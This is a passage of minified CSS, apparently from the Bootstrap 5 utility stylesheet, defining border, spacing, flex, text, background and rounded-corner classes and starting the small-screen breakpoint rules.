var(--bs-border-opacity)) !important}.border-primary-subtle{border-color:var(--bs-primary-border-subtle) !important}.border-secondary-subtle{border-color:var(--bs-secondary-border-subtle) !important}.border-success-subtle{border-color:var(--bs-success-border-subtle) !important}.border-info-subtle{border-color:var(--bs-info-border-subtle) !important}.border-warning-subtle{border-color:var(--bs-warning-border-subtle) !important}.border-danger-subtle{border-color:var(--bs-danger-border-subtle) !important}.border-light-subtle{border-color:var(--bs-light-border-subtle) !important}.border-dark-subtle{border-color:var(--bs-dark-border-subtle) !important}.border-1{border-width:1px !important}.border-2{border-width:2px !important}.border-3{border-width:3px !important}.border-4{border-width:4px !important}.border-5{border-width:5px !important}.border-opacity-10{--bs-border-opacity: 0.1}.border-opacity-25{--bs-border-opacity: 0.25}.border-opacity-50{--bs-border-opacity: 0.5}.border-opacity-75{--bs-border-opacity: 0.75}.border-opacity-100{--bs-border-opacity: 1}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.w-auto{width:auto !important}.mw-100{max-width:100% !important}.vw-100{width:100vw !important}.min-vw-100{min-width:100vw !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.h-auto{height:auto !important}.mh-100{max-height:100% !important}.vh-100{height:100vh !important}.min-vh-100{min-height:100vh !important}.flex-fill{flex:1 1 auto !important}.flex-row{flex-direction:row !important}.flex-column{flex-direction:column !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-grow-0{flex-grow:0 !important}.flex-grow-1{flex-grow:1 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-shrink-1{flex-shrink:1 !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-start{justify-content:flex-start !important}.justify-content-end{justify-content:flex-end !important}.justify-content-center{justify-content:center !important}.justify-content-between{justify-content:space-between !important}.justify-content-around{justify-content:space-around !important}.justify-content-evenly{justify-content:space-evenly !important}.align-items-start{align-items:flex-start !important}.align-items-end{align-items:flex-end !important}.align-items-center{align-items:center !important}.align-items-baseline{align-items:baseline !important}.align-items-stretch{align-items:stretch !important}.align-content-start{align-content:flex-start !important}.align-content-end{align-content:flex-end !important}.align-content-center{align-content:center !important}.align-content-between{align-content:space-between !important}.align-content-around{align-content:space-around !important}.align-content-stretch{align-content:stretch !important}.align-self-auto{align-self:auto !important}.align-self-start{align-self:flex-start !important}.align-self-end{align-self:flex-end !important}.align-self-center{align-self:center !important}.align-self-baseline{align-self:baseline !important}.align-self-stretch{align-self:stretch !important}.order-first{order:-1 !important}.order-0{order:0 !important}.order-1{order:1 !important}.order-2{order:2 !important}.order-3{order:3 !important}.order-4{order:4 !important}.order-5{order:5 !important}.order-last{order:6 !important}.m-0{margin:0 !important}.m-1{margin:.25rem !important}.m-2{margin:.5rem !important}.m-3{margin:1rem !important}.m-4{margin:1.5rem !important}.m-5{margin:3rem !important}.m-auto{margin:auto !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.mx-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-3{margin-right:1rem !important;margin-left:1rem !important}.mx-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-5{margin-right:3rem !important;margin-left:3rem !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.my-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-0{margin-top:0 !important}.mt-1{margin-top:.25rem !important}.mt-2{margin-top:.5rem !important}.mt-3{margin-top:1rem !important}.mt-4{margin-top:1.5rem !important}.mt-5{margin-top:3rem !important}.mt-auto{margin-top:auto !important}.me-0{margin-right:0 !important}.me-1{margin-right:.25rem !important}.me-2{margin-right:.5rem !important}.me-3{margin-right:1rem !important}.me-4{margin-right:1.5rem !important}.me-5{margin-right:3rem !important}.me-auto{margin-right:auto !important}.mb-0{margin-bottom:0 !important}.mb-1{margin-bottom:.25rem !important}.mb-2{margin-bottom:.5rem !important}.mb-3{margin-bottom:1rem !important}.mb-4{margin-bottom:1.5rem !important}.mb-5{margin-bottom:3rem !important}.mb-auto{margin-bottom:auto !important}.ms-0{margin-left:0 !important}.ms-1{margin-left:.25rem !important}.ms-2{margin-left:.5rem !important}.ms-3{margin-left:1rem !important}.ms-4{margin-left:1.5rem !important}.ms-5{margin-left:3rem !important}.ms-auto{margin-left:auto !important}.m-n1{margin:-0.25rem !important}.m-n2{margin:-0.5rem !important}.m-n3{margin:-1rem !important}.m-n4{margin:-1.5rem !important}.m-n5{margin:-3rem !important}.mx-n1{margin-right:-0.25rem !important;margin-left:-0.25rem !important}.mx-n2{margin-right:-0.5rem !important;margin-left:-0.5rem !important}.mx-n3{margin-right:-1rem !important;margin-left:-1rem !important}.mx-n4{margin-right:-1.5rem !important;margin-left:-1.5rem !important}.mx-n5{margin-right:-3rem !important;margin-left:-3rem !important}.my-n1{margin-top:-0.25rem !important;margin-bottom:-0.25rem !important}.my-n2{margin-top:-0.5rem !important;margin-bottom:-0.5rem !important}.my-n3{margin-top:-1rem !important;margin-bottom:-1rem !important}.my-n4{margin-top:-1.5rem !important;margin-bottom:-1.5rem !important}.my-n5{margin-top:-3rem !important;margin-bottom:-3rem !important}.mt-n1{margin-top:-0.25rem !important}.mt-n2{margin-top:-0.5rem !important}.mt-n3{margin-top:-1rem !important}.mt-n4{margin-top:-1.5rem !important}.mt-n5{margin-top:-3rem !important}.me-n1{margin-right:-0.25rem !important}.me-n2{margin-right:-0.5rem !important}.me-n3{margin-right:-1rem !important}.me-n4{margin-right:-1.5rem !important}.me-n5{margin-right:-3rem !important}.mb-n1{margin-bottom:-0.25rem !important}.mb-n2{margin-bottom:-0.5rem !important}.mb-n3{margin-bottom:-1rem !important}.mb-n4{margin-bottom:-1.5rem !important}.mb-n5{margin-bottom:-3rem !important}.ms-n1{margin-left:-0.25rem !important}.ms-n2{margin-left:-0.5rem !important}.ms-n3{margin-left:-1rem !important}.ms-n4{margin-left:-1.5rem !important}.ms-n5{margin-left:-3rem !important}.p-0{padding:0 !important}.p-1{padding:.25rem !important}.p-2{padding:.5rem !important}.p-3{padding:1rem !important}.p-4{padding:1.5rem !important}.p-5{padding:3rem !important}.px-0{padding-right:0 !important;padding-left:0 !important}.px-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-3{padding-right:1rem !important;padding-left:1rem !important}.px-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-5{padding-right:3rem !important;padding-left:3rem !important}.py-0{padding-top:0 !important;padding-bottom:0 !important}.py-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-0{padding-top:0 !important}.pt-1{padding-top:.25rem !important}.pt-2{padding-top:.5rem !important}.pt-3{padding-top:1rem !important}.pt-4{padding-top:1.5rem !important}.pt-5{padding-top:3rem !important}.pe-0{padding-right:0 !important}.pe-1{padding-right:.25rem !important}.pe-2{padding-right:.5rem !important}.pe-3{padding-right:1rem !important}.pe-4{padding-right:1.5rem !important}.pe-5{padding-right:3rem !important}.pb-0{padding-bottom:0 !important}.pb-1{padding-bottom:.25rem !important}.pb-2{padding-bottom:.5rem !important}.pb-3{padding-bottom:1rem !important}.pb-4{padding-bottom:1.5rem !important}.pb-5{padding-bottom:3rem !important}.ps-0{padding-left:0 !important}.ps-1{padding-left:.25rem !important}.ps-2{padding-left:.5rem !important}.ps-3{padding-left:1rem !important}.ps-4{padding-left:1.5rem !important}.ps-5{padding-left:3rem !important}.gap-0{gap:0 !important}.gap-1{gap:.25rem !important}.gap-2{gap:.5rem !important}.gap-3{gap:1rem !important}.gap-4{gap:1.5rem !important}.gap-5{gap:3rem !important}.row-gap-0{row-gap:0 !important}.row-gap-1{row-gap:.25rem !important}.row-gap-2{row-gap:.5rem !important}.row-gap-3{row-gap:1rem !important}.row-gap-4{row-gap:1.5rem !important}.row-gap-5{row-gap:3rem !important}.column-gap-0{column-gap:0 !important}.column-gap-1{column-gap:.25rem !important}.column-gap-2{column-gap:.5rem !important}.column-gap-3{column-gap:1rem !important}.column-gap-4{column-gap:1.5rem !important}.column-gap-5{column-gap:3rem !important}.font-monospace{font-family:var(--bs-font-monospace) !important}.fs-1{font-size:calc(1.35rem + 1.2vw) !important}.fs-2{font-size:calc(1.305rem + 0.66vw) !important}.fs-3{font-size:calc(1.2825rem + 0.39vw) !important}.fs-4{font-size:calc(1.26rem + 0.12vw) !important}.fs-5{font-size:1.125rem !important}.fs-6{font-size:0.9rem !important}.fst-italic{font-style:italic !important}.fst-normal{font-style:normal !important}.fw-lighter{font-weight:lighter !important}.fw-light{font-weight:300 !important}.fw-normal{font-weight:400 !important}.fw-medium{font-weight:500 !important}.fw-semibold{font-weight:600 !important}.fw-bold{font-weight:700 !important}.fw-bolder{font-weight:bolder !important}.lh-1{line-height:1 !important}.lh-sm{line-height:1.25 !important}.lh-base{line-height:1.5 !important}.lh-lg{line-height:2 !important}.text-start{text-align:left !important}.text-end{text-align:right !important}.text-center{text-align:center !important}.text-decoration-none{text-decoration:none !important}.text-decoration-underline{text-decoration:underline !important}.text-decoration-line-through{text-decoration:line-through !important}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.text-wrap{white-space:normal !important}.text-nowrap{white-space:nowrap !important}.text-break{word-wrap:break-word !important;word-break:break-word !important}.text-primary{--bs-text-opacity: 1;color:rgba(var(--bs-primary-rgb), var(--bs-text-opacity)) !important}.text-secondary{--bs-text-opacity: 1;color:rgba(var(--bs-secondary-rgb), var(--bs-text-opacity)) !important}.text-danger{--bs-text-opacity: 1;color:rgba(var(--bs-danger-rgb), var(--bs-text-opacity)) !important}.text-success{--bs-text-opacity: 1;color:rgba(var(--bs-success-rgb), var(--bs-text-opacity)) !important}.text-info{--bs-text-opacity: 1;color:rgba(var(--bs-info-rgb), var(--bs-text-opacity)) !important}.text-warning{--bs-text-opacity: 1;color:rgba(var(--bs-warning-rgb), var(--bs-text-opacity)) !important}.text-light{--bs-text-opacity: 1;color:rgba(var(--bs-light-rgb), var(--bs-text-opacity)) !important}.text-dark{--bs-text-opacity: 1;color:rgba(var(--bs-dark-rgb), var(--bs-text-opacity)) !important}.text-black{--bs-text-opacity: 1;color:rgba(var(--bs-black-rgb), var(--bs-text-opacity)) !important}.text-white{--bs-text-opacity: 1;color:rgba(var(--bs-white-rgb), var(--bs-text-opacity)) !important}.text-body{--bs-text-opacity: 1;color:rgba(var(--bs-body-color-rgb), var(--bs-text-opacity)) !important}.text-muted{--bs-text-opacity: 1;color:var(--bs-secondary-color) !important}.text-black-50{--bs-text-opacity: 1;color:rgba(0,0,0,.5) !important}.text-white-50{--bs-text-opacity: 1;color:rgba(255,255,255,.5) !important}.text-body-secondary{--bs-text-opacity: 1;color:var(--bs-secondary-color) !important}.text-body-tertiary{--bs-text-opacity: 1;color:var(--bs-tertiary-color) !important}.text-body-emphasis{--bs-text-opacity: 1;color:var(--bs-emphasis-color) !important}.text-reset{--bs-text-opacity: 1;color:inherit !important}.text-opacity-25{--bs-text-opacity: 0.25}.text-opacity-50{--bs-text-opacity: 0.5}.text-opacity-75{--bs-text-opacity: 0.75}.text-opacity-100{--bs-text-opacity: 1}.text-primary-emphasis{color:var(--bs-primary-text-emphasis) !important}.text-secondary-emphasis{color:var(--bs-secondary-text-emphasis) !important}.text-success-emphasis{color:var(--bs-success-text-emphasis) !important}.text-info-emphasis{color:var(--bs-info-text-emphasis) !important}.text-warning-emphasis{color:var(--bs-warning-text-emphasis) !important}.text-danger-emphasis{color:var(--bs-danger-text-emphasis) !important}.text-light-emphasis{color:var(--bs-light-text-emphasis) !important}.text-dark-emphasis{color:var(--bs-dark-text-emphasis) !important}.link-opacity-10{--bs-link-opacity: 0.1}.link-opacity-10-hover:hover{--bs-link-opacity: 0.1}.link-opacity-25{--bs-link-opacity: 0.25}.link-opacity-25-hover:hover{--bs-link-opacity: 0.25}.link-opacity-50{--bs-link-opacity: 0.5}.link-opacity-50-hover:hover{--bs-link-opacity: 0.5}.link-opacity-75{--bs-link-opacity: 0.75}.link-opacity-75-hover:hover{--bs-link-opacity: 0.75}.link-opacity-100{--bs-link-opacity: 1}.link-opacity-100-hover:hover{--bs-link-opacity: 1}.link-offset-1{text-underline-offset:.125em !important}.link-offset-1-hover:hover{text-underline-offset:.125em !important}.link-offset-2{text-underline-offset:.25em !important}.link-offset-2-hover:hover{text-underline-offset:.25em !important}.link-offset-3{text-underline-offset:.375em !important}.link-offset-3-hover:hover{text-underline-offset:.375em !important}.link-underline-primary{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-primary-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-secondary{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-secondary-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-danger{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-danger-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-success{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-success-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-info{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-info-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-warning{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-warning-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-light{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-light-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-dark{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-dark-rgb), var(--bs-link-underline-opacity)) !important}.link-underline{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-link-color-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-underline-opacity-0{--bs-link-underline-opacity: 0}.link-underline-opacity-0-hover:hover{--bs-link-underline-opacity: 0}.link-underline-opacity-10{--bs-link-underline-opacity: 0.1}.link-underline-opacity-10-hover:hover{--bs-link-underline-opacity: 0.1}.link-underline-opacity-25{--bs-link-underline-opacity: 0.25}.link-underline-opacity-25-hover:hover{--bs-link-underline-opacity: 0.25}.link-underline-opacity-50{--bs-link-underline-opacity: 0.5}.link-underline-opacity-50-hover:hover{--bs-link-underline-opacity: 0.5}.link-underline-opacity-75{--bs-link-underline-opacity: 0.75}.link-underline-opacity-75-hover:hover{--bs-link-underline-opacity: 0.75}.link-underline-opacity-100{--bs-link-underline-opacity: 1}.link-underline-opacity-100-hover:hover{--bs-link-underline-opacity: 1}.bg-primary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-primary-rgb), var(--bs-bg-opacity)) !important}.bg-secondary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-secondary-rgb), var(--bs-bg-opacity)) !important}.bg-danger{--bs-bg-opacity: 1;background-color:rgba(var(--bs-danger-rgb), var(--bs-bg-opacity)) !important}.bg-success{--bs-bg-opacity: 1;background-color:rgba(var(--bs-success-rgb), var(--bs-bg-opacity)) !important}.bg-info{--bs-bg-opacity: 1;background-color:rgba(var(--bs-info-rgb), var(--bs-bg-opacity)) !important}.bg-warning{--bs-bg-opacity: 1;background-color:rgba(var(--bs-warning-rgb), var(--bs-bg-opacity)) !important}.bg-light{--bs-bg-opacity: 1;background-color:rgba(var(--bs-light-rgb), var(--bs-bg-opacity)) !important}.bg-dark{--bs-bg-opacity: 1;background-color:rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important}.bg-black{--bs-bg-opacity: 1;background-color:rgba(var(--bs-black-rgb), var(--bs-bg-opacity)) !important}.bg-white{--bs-bg-opacity: 1;background-color:rgba(var(--bs-white-rgb), var(--bs-bg-opacity)) !important}.bg-body{--bs-bg-opacity: 1;background-color:rgba(var(--bs-body-bg-rgb), var(--bs-bg-opacity)) !important}.bg-transparent{--bs-bg-opacity: 1;background-color:rgba(0,0,0,0) !important}.bg-body-secondary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-secondary-bg-rgb), var(--bs-bg-opacity)) !important}.bg-body-tertiary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-tertiary-bg-rgb), var(--bs-bg-opacity)) !important}.bg-opacity-10{--bs-bg-opacity: 0.1}.bg-opacity-25{--bs-bg-opacity: 0.25}.bg-opacity-50{--bs-bg-opacity: 0.5}.bg-opacity-75{--bs-bg-opacity: 0.75}.bg-opacity-100{--bs-bg-opacity: 1}.bg-primary-subtle{background-color:var(--bs-primary-bg-subtle) !important}.bg-secondary-subtle{background-color:var(--bs-secondary-bg-subtle) !important}.bg-success-subtle{background-color:var(--bs-success-bg-subtle) !important}.bg-info-subtle{background-color:var(--bs-info-bg-subtle) !important}.bg-warning-subtle{background-color:var(--bs-warning-bg-subtle) !important}.bg-danger-subtle{background-color:var(--bs-danger-bg-subtle) !important}.bg-light-subtle{background-color:var(--bs-light-bg-subtle) !important}.bg-dark-subtle{background-color:var(--bs-dark-bg-subtle) !important}.bg-gradient,.btn{background-image:var(--bs-gradient) !important}.user-select-all{user-select:all !important}.user-select-auto{user-select:auto !important}.user-select-none{user-select:none !important}.pe-none{pointer-events:none !important}.pe-auto{pointer-events:auto !important}.rounded{border-radius:var(--bs-border-radius) !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:var(--bs-border-radius-sm) !important}.rounded-2{border-radius:var(--bs-border-radius) !important}.rounded-3{border-radius:var(--bs-border-radius-lg) !important}.rounded-4{border-radius:var(--bs-border-radius-xl) !important}.rounded-5{border-radius:var(--bs-border-radius-xxl) !important}.rounded-circle{border-radius:50% !important}.rounded-pill{border-radius:var(--bs-border-radius-pill) !important}.rounded-top{border-top-left-radius:var(--bs-border-radius) !important;border-top-right-radius:var(--bs-border-radius) !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:var(--bs-border-radius-sm) !important;border-top-right-radius:var(--bs-border-radius-sm) !important}.rounded-top-2{border-top-left-radius:var(--bs-border-radius) !important;border-top-right-radius:var(--bs-border-radius) !important}.rounded-top-3{border-top-left-radius:var(--bs-border-radius-lg) !important;border-top-right-radius:var(--bs-border-radius-lg) !important}.rounded-top-4{border-top-left-radius:var(--bs-border-radius-xl) !important;border-top-right-radius:var(--bs-border-radius-xl) !important}.rounded-top-5{border-top-left-radius:var(--bs-border-radius-xxl) !important;border-top-right-radius:var(--bs-border-radius-xxl) !important}.rounded-top-circle{border-top-left-radius:50% !important;border-top-right-radius:50% !important}.rounded-top-pill{border-top-left-radius:var(--bs-border-radius-pill) !important;border-top-right-radius:var(--bs-border-radius-pill) !important}.rounded-end{border-top-right-radius:var(--bs-border-radius) !important;border-bottom-right-radius:var(--bs-border-radius) !important}.rounded-end-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-end-1{border-top-right-radius:var(--bs-border-radius-sm) !important;border-bottom-right-radius:var(--bs-border-radius-sm) !important}.rounded-end-2{border-top-right-radius:var(--bs-border-radius) !important;border-bottom-right-radius:var(--bs-border-radius) !important}.rounded-end-3{border-top-right-radius:var(--bs-border-radius-lg) !important;border-bottom-right-radius:var(--bs-border-radius-lg) !important}.rounded-end-4{border-top-right-radius:var(--bs-border-radius-xl) !important;border-bottom-right-radius:var(--bs-border-radius-xl) !important}.rounded-end-5{border-top-right-radius:var(--bs-border-radius-xxl) !important;border-bottom-right-radius:var(--bs-border-radius-xxl) !important}.rounded-end-circle{border-top-right-radius:50% !important;border-bottom-right-radius:50% !important}.rounded-end-pill{border-top-right-radius:var(--bs-border-radius-pill) !important;border-bottom-right-radius:var(--bs-border-radius-pill) !important}.rounded-bottom{border-bottom-right-radius:var(--bs-border-radius) !important;border-bottom-left-radius:var(--bs-border-radius) !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:var(--bs-border-radius-sm) !important;border-bottom-left-radius:var(--bs-border-radius-sm) !important}.rounded-bottom-2{border-bottom-right-radius:var(--bs-border-radius) !important;border-bottom-left-radius:var(--bs-border-radius) !important}.rounded-bottom-3{border-bottom-right-radius:var(--bs-border-radius-lg) !important;border-bottom-left-radius:var(--bs-border-radius-lg) !important}.rounded-bottom-4{border-bottom-right-radius:var(--bs-border-radius-xl) !important;border-bottom-left-radius:var(--bs-border-radius-xl) !important}.rounded-bottom-5{border-bottom-right-radius:var(--bs-border-radius-xxl) !important;border-bottom-left-radius:var(--bs-border-radius-xxl) !important}.rounded-bottom-circle{border-bottom-right-radius:50% !important;border-bottom-left-radius:50% !important}.rounded-bottom-pill{border-bottom-right-radius:var(--bs-border-radius-pill) !important;border-bottom-left-radius:var(--bs-border-radius-pill) !important}.rounded-start{border-bottom-left-radius:var(--bs-border-radius) !important;border-top-left-radius:var(--bs-border-radius) !important}.rounded-start-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-start-1{border-bottom-left-radius:var(--bs-border-radius-sm) !important;border-top-left-radius:var(--bs-border-radius-sm) !important}.rounded-start-2{border-bottom-left-radius:var(--bs-border-radius) !important;border-top-left-radius:var(--bs-border-radius) !important}.rounded-start-3{border-bottom-left-radius:var(--bs-border-radius-lg) !important;border-top-left-radius:var(--bs-border-radius-lg) !important}.rounded-start-4{border-bottom-left-radius:var(--bs-border-radius-xl) !important;border-top-left-radius:var(--bs-border-radius-xl) !important}.rounded-start-5{border-bottom-left-radius:var(--bs-border-radius-xxl) !important;border-top-left-radius:var(--bs-border-radius-xxl) !important}.rounded-start-circle{border-bottom-left-radius:50% !important;border-top-left-radius:50% !important}.rounded-start-pill{border-bottom-left-radius:var(--bs-border-radius-pill) !important;border-top-left-radius:var(--bs-border-radius-pill) !important}.visible{visibility:visible !important}.invisible{visibility:hidden !important}.z-n1{z-index:-1 !important}.z-0{z-index:0 !important}.z-1{z-index:1 !important}.z-2{z-index:2 !important}.z-3{z-index:3 !important}@media(min-width: 576px){.float-sm-start{float:left !important}.float-sm-end{float:right !important}.float-sm-none{float:none !important}.object-fit-sm-contain{object-fit:contain !important}.object-fit-sm-cover{object-fit:cover !important}.object-fit-sm-fill{object-fit:fill !important}.object-fit-sm-scale{object-fit:scale-down !important}.object-fit-sm-none{object-fit:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-grid{display:grid !important}.d-sm-inline-grid{display:inline-grid !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:flex !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.flex-sm-fill{flex:1 1 auto !important}.flex-sm-row{flex-direction:row !important}.flex-sm-column{flex-direction:column !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-grow-1{flex-grow:1 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-shrink-1{flex-shrink:1 !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-sm-start{justify-content:flex-start !important}.justify-content-sm-end{justify-content:flex-end !important}.justify-content-sm-center{justify-content:center !important}.justify-content-sm-between{justify-content:space-between !important}.justify-content-sm-around{justify-content:space-around !important}.justify-content-sm-evenly{justify-content:space-evenly !important}.align-items-sm-start{align-items:flex-start !important}.align-items-sm-end{align-items:flex-end !important}.align-items-sm-center{align-items:center !important}.align-items-sm-baseline{align-items:baseline !important}.align-items-sm-stretch{align-items:stretch !important}.align-content-sm-start{align-content:flex-start !important}.align-content-sm-end{align-content:flex-end !important}.align-content-sm-center{align-content:center !important}.align-content-sm-between{align-content:space-between !important}.align-content-sm-around{align-content:space-around !important}.align-content-sm-stretch{align-content:stretch !important}.align-self-sm-auto{align-self:auto !important}.align-self-sm-start{align-self:flex-start !important}.align-self-sm-end{align-self:flex-end !important}.align-self-sm-center{align-self:center !important}.align-self-sm-baseline{align-self:baseline !important}.align-self-sm-stretch{align-self:stretch !important}.order-sm-first{order:-1 !important}.order-sm-0{order:0 !important}.order-sm-1{order:1 !important}.order-sm-2{order:2 !important}.order-sm-3{order:3 !important}.order-sm-4{order:4 !important}.order-sm-5{order:5 !important}.order-sm-last{order:6 !important}.m-sm-0{margin:0 !important}.m-sm-1{margin:.25rem !important}.m-sm-2{margin:.5rem !important}.m-sm-3{margin:1rem !important}.m-sm-4{margin:1.5rem !important}.m-sm-5{margin:3rem !important}.m-sm-auto{margin:auto !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.mx-sm-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-sm-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-sm-3{margin-right:1rem !important;margin-left:1rem !important}.mx-sm-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-sm-5{margin-right:3rem !important;margin-left:3rem !important}.mx-sm-auto{margin-right:auto !important;margin-left:auto !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.my-sm-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-sm-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-sm-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-sm-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-sm-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-sm-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-sm-0{margin-top:0 !important}.mt-sm-1{margin-top:.25rem !important}.mt-sm-2{margin-top:.5rem !important}.mt-sm-3{margin-top:1rem !important}.mt-sm-4{margin-top:1.5rem !important}.mt-sm-5{margin-top:3rem !important}.mt-sm-auto{margin-top:auto !important}.me-sm-0{margin-right:0 !important}.me-sm-1{margin-right:.25rem !important}.me-sm-2{margin-right:.5rem !important}.me-sm-3{margin-right:1rem !important}.me-sm-4{margin-right:1.5rem !important}.me-sm-5{margin-right:3rem !important}.me-sm-auto{margin-right:auto !important}.mb-sm-0{margin-bottom:0 !important}.mb-sm-1{margin-bottom:.25rem !important}.mb-sm-2{margin-bottom:.5rem !important}.mb-sm-3{margin-bottom:1rem !important}.mb-sm-4{margin-bottom:1.5rem !important}.mb-sm-5{margin-bottom:3rem !important}.mb-sm-auto{margin-bottom:auto !important}.ms-sm-0{margin-left:0 !important}.ms-sm-1{margin-left:.25rem !important}.ms-sm-2{margin-left:.5rem !important}.ms-sm-3{margin-left:1rem !important}.ms-sm-4{margin-left:1.5rem !important}.ms-sm-5{margin-left:3rem !important}.ms-sm-auto{margin-left:auto !important}.m-sm-n1{margin:-0.25rem !important}.m-sm-n2{margin:-0.5rem !important}.m-sm-n3{margin:-1rem !important}.m-sm-n4{margin:-1.5rem !important}.m-sm-n5{margin:-3rem !important}.mx-sm-n1{margin-right:-0.25rem !important;margin-left:-0.25rem !important}.mx-sm-n2{margin-right:-0.5rem !important;margin-left:-0.5rem !important}.mx-sm-n3{margin-right:-1rem !important;margin-left:-1rem !important}.mx-sm-n4{margin-right:-1.5rem !important;margin-left:-1.5rem !important}.mx-sm-n5{margin-right:-3rem !important;margin-left:-3rem !important}.my-sm-n1{margin-top:-0.25rem !important;margin-bottom:-0.25rem !important}.my-sm-n2{margin-top:-0.5rem !important;margin-bottom:-0.5rem !important}.my-sm-n3{margin-top:-1rem !important;margin-bottom:-1rem !important}.my-sm-n4{margin-top:-1.5rem !important;margin-bottom:-1.5rem !important}.my-sm-n5{margin-top:-3rem !important;margin-bottom:-3rem !important}.mt-sm-n1{margin-top:-0.25rem !important}.mt-sm-n2{margin-top:-0.5rem !important}.mt-sm-n3{margin-top:-1rem !important}.mt-sm-n4{margin-top:-1.5rem !important}.mt-sm-n5{margin-top:-3rem !important}.me-sm-n1{margin-right:-0.25rem !important}.me-sm-n2{margin-right:-0.5rem !important}.me-sm-n3{margin-right:-1rem !important}.me-sm-n4{margin-right:-1.5rem !important}.me-sm-n5{margin-right:-3rem !important}.mb-sm-n1{margin-bottom:-0.25rem !important}.mb-sm-n2{margin-bottom:-0.5rem !important}.mb-sm-n3{margin-bottom:-1rem !important}.mb-sm-n4{margin-bottom:-1.5rem !important}.mb-sm-n5{margin-bottom:-3rem !important}.ms-sm-n1{margin-left:-0.25rem !important}.ms-sm-n2{margin-left:-0.5rem !important}.ms-sm-n3{margin-left:-1rem !important}.ms-sm-n4{margin-left:-1.5rem !important}.ms-sm-n5{margin-left:-3rem !important}.p-sm-0{padding:0 !important}.p-sm-1{padding:.25rem !important}.p-sm-2{padding:.5rem !important}.p-sm-3{padding:1rem !important}.p-sm-4{padding:1.5rem !important}.p-sm-5{padding:3rem !important}.px-sm-0{padding-right:0 !important;padding-left:0 !important}.px-sm-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-sm-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-sm-3{padding-right:1rem !important;padding-left:1rem 